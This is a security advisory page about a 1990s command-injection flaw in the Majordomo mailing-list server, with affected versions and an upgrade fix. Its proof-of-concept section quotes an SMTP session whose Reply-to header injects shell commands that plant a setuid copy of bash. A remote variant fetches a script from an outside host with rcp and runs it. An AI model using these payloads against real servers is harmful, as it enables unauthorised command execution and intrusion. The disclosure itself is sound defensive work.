Majordomo lists Command Execution Vulnerability

BID:2310

Info

Majordomo lists Command Execution Vulnerability

Bugtraq ID: 2310
Class: Input Validation Error
CVE:
Remote: Yes
Local: Yes
Published: Jun 01 1994 12:00AM
Updated: Jun 01 1994 12:00AM
Credit: Posted to BugTraq on Razvan Dragomirescu < [email protected] > on August 24, 1997.
Vulnerable: Great Circle Associates Majordomo 1.90
Great Circle Associates Majordomo 1.89
Not Vulnerable: Great Circle Associates Majordomo 1.94.5
Great Circle Associates Majordomo 1.94.4
Great Circle Associates Majordomo 1.91

Discussion

Majordomo lists Command Execution Vulnerability

Majordomo is a perl-based Internet e-mail list server. Versions prior to 1.91 are vulnerable to an attack whereby specially crafted e-mail headers are incorrectly processed, yielding the ability to execute arbitrary commands with the privileges of Majordomo. This is possible only when "advertise" or "noadvertise" directives are specified in the configuration files.

Exploit / POC

Majordomo lists Command Execution Vulnerability

The following exploits are quoted directly from Razvan Dragomirescu's BugTraq message (see credit):

Local exploit:
--exploit--
telnet localhost 25

helo localhost
mail from: user
rcpt to: majordomo (or whatever the name of the majordomo user is)
data
From: user
To: majordomo
Reply-to: a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tmp/lord`.q~a/ad=cucu/c=blu\\\@kappa.ro

LISTS
.
quit
--end of exploit --

For the remote users, change the Reply-to field to something like:

Reply-to: a~.`/usr/bin/rcp\${IFS}[email protected]:script\${IFS}/tmp/script&&source\${IFS}/tmp/script`.q~a/ad=cucu/c=blu\\\@kappa.ro

Solution / Fix

Majordomo lists Command Execution Vulnerability

Solution:
Upgrade to the latest version of majordomo (fixed in 1.91). If this is difficult, a patch for version 1.90 and a workaround for other versions are available.


Great Circle Associates Majordomo 1.90

References

Majordomo lists Command Execution Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report